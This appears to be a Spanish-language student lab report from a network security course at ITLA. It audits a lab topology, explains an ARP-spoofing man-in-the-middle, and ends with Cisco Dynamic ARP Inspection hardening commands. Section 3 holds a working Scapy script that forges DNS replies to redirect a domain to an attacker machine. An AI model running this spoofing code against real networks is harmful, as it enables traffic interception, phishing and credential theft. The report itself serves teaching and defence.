

Informe Técnico Avanzado: Auditoría de Seguridad y Simulación de Ataque DNS Spoofing

Institución: Instituto Tecnológico de Las Américas (ITLA)

Asignatura: Seguridad de Aplicaciones

Área: Administración de Redes y Ciberseguridad

1. Análisis de la Arquitectura de Red y Estado Nominal

En la topología actual, el enrutador R1 actúa como servidor DHCP para las diferentes VLANs. Al analizar su archivo de configuración, se observa la inyección de parámetros críticos de red hacia los dispositivos finales:

```
ip dhcp pool VLAN10_ADMIN
network 192.168.98.0 255.255.255.224
default-router 192.168.98.1
dns-server 8.8.8.8
domain-name itla.edu.do
```

Los clientes (como PC1 y PC2) reciben dinámicamente la IP del Gateway (192.168.98.1) y del servidor DNS (8.8.8.8). Por otro lado, la auditoría a los switches ESW1 y ESW2 revela la existencia de políticas defensivas parciales: cuentan con ip dhcp snooping activado para las VLANs 10 y 20, protegiendo contra servidores DHCP falsos (Rogue DHCP). Sin embargo, **no cuentan con inspección de paquetes ARP (DAI)**, lo que deja la red expuesta a ataques de suplantación en Capa 2.

2. Mecanismo de Interacción y Vectores de Ataque

El ataque de DNS Spoofing (o Envenenamiento DNS) local se ejecuta de manera híbrida aprovechando la falta de validación ARP. El atacante interactúa con la topología en dos fases consecutivas:

1. **Fase 1 - Man-in-the-Middle (ARP Spoofing):** El atacante envía paquetes ARP Gratuitos (Gratuitous ARP) falsificados a la víctima (ej. PC1) indicando que la dirección MAC del atacante corresponde a la IP del Gateway (192.168.98.1). Simultáneamente, envía otro paquete al Gateway indicando que la MAC del atacante pertenece a PC1. Todo el tráfico de la víctima pasa ahora a través de la máquina Parrot OS.

2. **Fase 2 - Intercepción y Falsificación DNS:** Estando en la posición intermedia, el script en Python monitorea el tráfico UDP en el puerto 53. Cuando detecta que la víctima intenta resolver el dominio itla.edu.do, el script descarta la petición al servidor real (8.8.8.8) y forja inmediatamente una respuesta (DNS Resource Record) indicando que la IP de itla.edu.do es la IP de la máquina del atacante.

3. Implementación del Script de Inyección en Python

El siguiente código en Python, apoyado en la librería Scapy, funciona como el sniffer y generador de respuestas DNS maliciosas. Este script asume que la Fase 1 (ARP Spoofing) ya está en ejecución (por ejemplo, mediante arpspoof en otra terminal):

```
#!/usr/bin/env python3
from scapy.all import *

interfaz_red = "eth0"
# Direccionamiento extraído de la topología
ip_atacante = "192.168.98.5" # IP de Parrot OS asignada en VLAN 10
dominio_objetivo = b"itla.edu.do."

def interceptar_y_responder(pkt):
    # Si el paquete es DNS Query y busca el dominio de ITLA
    if pkt.haslayer(DNSQR) and dominio_objetivo in pkt[DNS].qd.qname:
        print(f"[*] Petición interceptada: Resolviendo {dominio_objetivo.decode()}
a {ip_atacante}")

        # Invirtiendo direcciones IP y Puertos (Destino ahora es Origen)
        capa_ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
        capa_udp = UDP(sport=pkt[UDP].dport, dport=pkt[UDP].sport)

        # Forjando la respuesta DNS autoritativa (aa=1)
        capa_dns = DNS(
            id=pkt[DNS].id, qr=1, aa=1, rcode=0,
            qd=pkt[DNS].qd,
            an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=ip_atacante)
        )

        # Inyección del paquete final
        respuesta_maliciosa = capa_ip / capa_udp / capa_dns
        send(respuesta_maliciosa, iface=interfaz_red, verbose=0)
        print("[+] DNS Spoof inyectado con éxito.")

print("[*] Envenenador DNS activo. Escuchando peticiones en el puerto UDP 53...")
sniff(filter="udp port 53", prn=interceptar_y_responder, iface=interfaz_red)
```

4. Impacto en la Disponibilidad y Servicios

Este ataque vulnera directamente la confidencialidad y la integridad de la información en el entorno del ITLA. Al redirigir el tráfico del dominio legítimo, el atacante puede desplegar un portal cautivo falso (Phishing) alojado en su propio servidor web local.

Cuando los usuarios de la VLAN 10 o 20 intentan acceder a los sistemas internos de la institución, son redirigidos sin sospechas al servidor del atacante. Esto facilita el robo de credenciales de Active Directory, tokens de sesión y propagación de malware a los equipos clientes (PC1, PC2), eludiendo todas las listas de control de acceso (ACL) de R1, ya que el ataque ocurre localmente en Capa 2.

5. Plan de Mitigación y Endurecimiento de Equipos (Hardening)

Dado que la base de este ataque es el ARP Spoofing, y que la topología ya cuenta con ip dhcp snooping configurado, la defensa más efectiva es activar DAI (Dynamic ARP Inspection). Esta tecnología utiliza la base de datos de DHCP Snooping para validar que cada paquete ARP en la red pertenezca a la MAC y a la IP legítima asignada por el DHCP.

A. Configuración de DAI en los Switches de Acceso (ESW1 y ESW2)

En el modo de configuración global, se habilita la inspección para las VLANs operativas de la red:

```
ESW1(config)# ip arp inspection vlan 10,20
ESW2(config)# ip arp inspection vlan 10,20
```

B. Definición de Puertos Confiables

Al igual que con DHCP Snooping, es estrictamente necesario configurar como "Trust" los enlaces troncales (interfaces f1/0 y f1/1) que conectan los switches entre sí y hacia el router (R1), de lo contrario, el tráfico legítimo entre dispositivos de infraestructura será descartado.

```
ESW1(config)# interface range f1/0 - 1
ESW1(config-if-range)# ip arp inspection trust
```

Al aplicar esta directiva, cualquier intento del script del atacante de enviar un paquete

Gratuitous ARP forjado será interceptado y bloqueado por el switch, generando una alerta de seguridad (Log) y cortando el ataque desde su raíz (Capa 2), impidiendo que se escale al envenenamiento DNS.